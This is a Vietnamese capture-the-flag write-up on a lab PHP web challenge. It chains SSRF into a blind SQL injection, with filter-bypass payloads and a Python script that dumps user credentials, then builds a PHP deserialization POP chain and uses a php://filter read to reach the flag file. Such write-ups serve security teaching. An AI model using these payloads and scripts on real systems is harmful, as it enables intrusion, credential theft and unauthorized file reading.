# Writeup happy_birthday_KCSC ###### tags: ``SSRF`` Đầu tiên chall cho ta một trang web và cả source code, khi chạy docker thì truy cập vào web sẽ như thế này: ![](https://i.imgur.com/FxLa2Sh.png) Ta có thể nhập bất kỳ đường dẫn nào vào và thực hiện gửi report đi. Nhìn qua source code thì ta thấy ngoài trang index.php còn các đường dẫn khác ![](https://i.imgur.com/oE986c3.png) Trong đó config.php thực hiện kết nối với db còn flag.php là một cú lừa đau đớn ![](https://i.imgur.com/JfV8LBP.png) Tuy nhiên file đã gợi ý ta rằng flag thật sự nằm trong đoạn code php của file này ![](https://i.imgur.com/zDcUM4V.png) Vậy chỉ còn login.php, thử truy cập thì đây chỉ là một trang đăng nhập bình thường ![](https://i.imgur.com/V1pkJqh.jpg) Tại đây cũng không có gì để khai thác do đoạn code xử lý dùng preparestatement một cách chuẩn chỉ ![](https://i.imgur.com/wvjRPo2.png) Tại đây code cũng gợi ý khi đăng nhập thành công sẽ được redirect tới /admin. Và khi truy cập tới /admin mà không cần đăng nhập thì chall yêu cầu phải "login as admin" ![](https://i.imgur.com/8xidb6L.png) Vậy mục đích bây giờ sẽ phải tìm cách đăng nhập với tư cách admin. Tuy nhiên phải lợi dụng điểm nào để tìm được tài khoản admin đây?? Nhìn sâu vào source code, ta thấy có một api là checkUser.php sẽ thực hiện truy vấn SQL để check user thông qua param id truyền qua methods GET ![](https://i.imgur.com/lqs0uFV.png) Câu truy vấn truyền thẳng id vào để thực thi nên ta hoàn toàn có thể SQLi tại đây, tuy nhiên nó không có giá trị trả về nên ta sẽ dùng kỹ thuật blind SQLi để exploit. Và còn một vấn đề nữa cần giải quyết, api này chỉ nhận request từ server gửi cho nó, vì vậy khi truy cập thông qua URL một cách thông thường ta sẽ nhận về thông báo là “Only localhost can access that feature!!!”. Đến đây để ý lại chức năng gửi report của chall có sử dụng curl để bắn request ![](https://i.imgur.com/vWvd27x.png) Lợi dụng điều này ta sẽ thực hiện SSRF, khiến nó bắn request ngược về api checkUser.php và ta thực thi SQli thông qua đường dẫn truyền vào Payload sẽ có dạng: ``` http://localhost/api/checkUser.php?id=-1%09||%09if(substring((seselectlect%09grgroupoup_concat(username,':',passwoorrd)%09frfromom%09users),{},1)='{}',sleep(2),'x') ``` Note: dùng %09 để thay cho khoảng trắng, vì nếu dùng khoảng trắng hay “+” thì bị filter mất, và duplicate các ký tự bị replace để bypass hàm pre_match như select, or, from,... Script để bruteforce dump database: ```python import requests import string wordlist = string.ascii_letters wordlist += "".join(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '`', '~', '!', '@', '$', '%', '-', '_', "'", '{', '}','.',',',':','?',' ']) url = "http://localhost:10666/index.php" data = {'url': 'test', "submit": 'Submit Query'} query = "http://localhost/api/checkUser.php?id=-1%09||%09if(substring((seselectlect%09grgroupoup_concat(username,':',passwoorrd)%09frfromom%09users),{},1)='{}',sleep(2),'x')" result = "" pos = 1 while(1): for c in wordlist: data['url'] = query.format(pos,c) res = requests.post(url, data=data) print(res.elapsed.total_seconds()) if(res.elapsed.total_seconds() >= 2): result += c pos += 1 print(result) break else: break print("Result:",result) ``` Kết quả: ![](https://i.imgur.com/5c4euMi.png) Dùng thông tin dump được ta tiến hành đăng nhập bằng tài khoản admin thoai Sau khi login as admin ta thu được kết quả: ![](https://i.imgur.com/jm11DIa.png) Okie bây giờ mới là lúc thật sự tìm flag, nhìn qua source code của ``/admin/index.php`` ta thấy: ![](https://i.imgur.com/66Myv1m.png) Web sẽ thực hiện base64_decode cookie data và sau đó unserialize. Vậy ta sẽ lợi dụng điều này để exploit. Tuy nhiên ta cần phải lợi dụng object nào để khai thác đây. Mình thấy tại file có require file ``/classes/chain.php`` ![](https://i.imgur.com/Y1V7Y7N.png) Nội dung file ``chain.php``: ```php <?php class File { public $file; public function __toString() { if (!preg_match('/^(http|https|php|data|zip|input|phar|expect):\/\//', $this->file)) { echo($this->file); include($this->file); } return "Ahihhii"; } } class Url { public $url; public function __construct($url) { $this->url = $url; } public function checkUrl() { if (preg_match('/[http|https]:\/\//', $this->url)) return true; else return false; } } class Func1 { public $param1; public $param2; public function __get($key) { $key = $this->param2; return $this->param1->$key(); } } class Source { private $source; public function __construct($s) { $this->source = $s; } public function __invoke() { return $this->source->method; } } class Func2 { public $param; public function __wakeup() { $function = $this->param; return $function(); } } ?> ``` Ta thấy pop chain mà ta có thể lợi dụng để khai thác. Magic method ``_wakeup()`` sẽ được gọi khi object Func2 được unserialize, từ đây ta sẽ có flow như sau: 1. ``_wakeup()`` của Func2 được gọi và return về một hàm 2. Nếu $param là object ``Source`` thì method ``_invoke()`` của Source sẽ được thực thi 3. ``_invoke()`` sẽ gọi tới property của param source, nếu param này là ``Func1`` thì method ``_get()`` của Func1 sẽ được gọi 4. ``_get()`` sẽ gọi tới method ``key()`` của ``param1``, ta hoàn toàn có thể kiểm soát được 2 giá trị này, ta thay ``$param1`` bằng object ``Url`` và hàm được gọi tới sẽ là ``checkUrl()`` 5. ``checkUrl()`` sẽ thực thi check giá trị của property $url trong hàm prege_match, nếu property $url là object File thì hàm ``toString()`` của File sẽ được thực hiện 6. Khi hàm ``toString()`` được thực hiện ta có thể include bất kỳ file nào thông qua property $file của object File này Tóm lại flow sẽ là: ``` Func2 (wakeup) -> Source (invoke) -> Func1 (get) -> URL (checkUrl) -> file (toString) -> exploit tại hàm include trong toString của file ``` Dùng đoạn script sau để gen payload: ```php $file = new File(); $file->file = "anyfilewantoread"; $url = new Url($file); $fun1 = new Func1; $fun1->param1 = $url; $fun1->param2 = "checkUrl"; $source = new Source($fun1); $test = new Func2(); $test->param = $source; $seri = serialize($test); echo(base64_encode($seri)); ``` Thử include file ``index.php`` thu được đoạn mã base64, thay vào cookie data ta thu được kết quả: ![](https://i.imgur.com/r1swRWv.png) ![](https://i.imgur.com/OUTzZX6.png) Ta thấy payload đã bị hàm preg_math() phát hiện có null char nên đã quăng ra dòng "Hacker detected" ![](https://i.imgur.com/SeEZket.png) Tuy nhiên tại sao lại vậy? Nhìn kỹ vào đoạn byte streams ta thấy tại vị trí nó gọi property ``$source`` trong object ``Source`` ![](https://i.imgur.com/fBjY01D.png) Ta thấy thay vì gọi trực tiếp ``$source`` thì nó lại gọi thông qua object ``Source``, nguyên nhân đơn giản là vì ``$source`` có phạm vi private Đào sau vào cơ chế serialize của php thì ta phát hiện PHP sẽ không dùng dấu `.` để gọi tới private(protected) property như hiển thị ở trên mà PHP sẽ dùng ``\0`` ![](https://i.imgur.com/gBv7R7S.png) Và ``\0`` tương đòng với NUll bytes, vì thế khi ``$source`` là private thì ta không thể nào deserialize được payload. Vậy thì phải làm sao, phải làm sao? Để bypass đơn giản ta chỉ cần tại script gen payload ta thay scope của ``$source`` từ private thành public, từ đó payload sẽ không còn Null char, và khi deserialize payload vẫn có thể thực thi vì ta gọi $source thông qua method ``_invoke()`` nên phạm vi của nó trong chương trình không thật sự quan trọng đến khả năng thực thi ![](https://i.imgur.com/33NSArY.png) Payload thực thi thành công, cuối cùng dùng php wrapper để độc nội dung file `flag.php` Payload include file: ``` pHp://filter/convert.base64-encode/resource=../flag.php ``` Chữ ``H`` viết hoa để bypass hàm preg_match Kết quả: ![](https://i.imgur.com/mDaIdq8.png)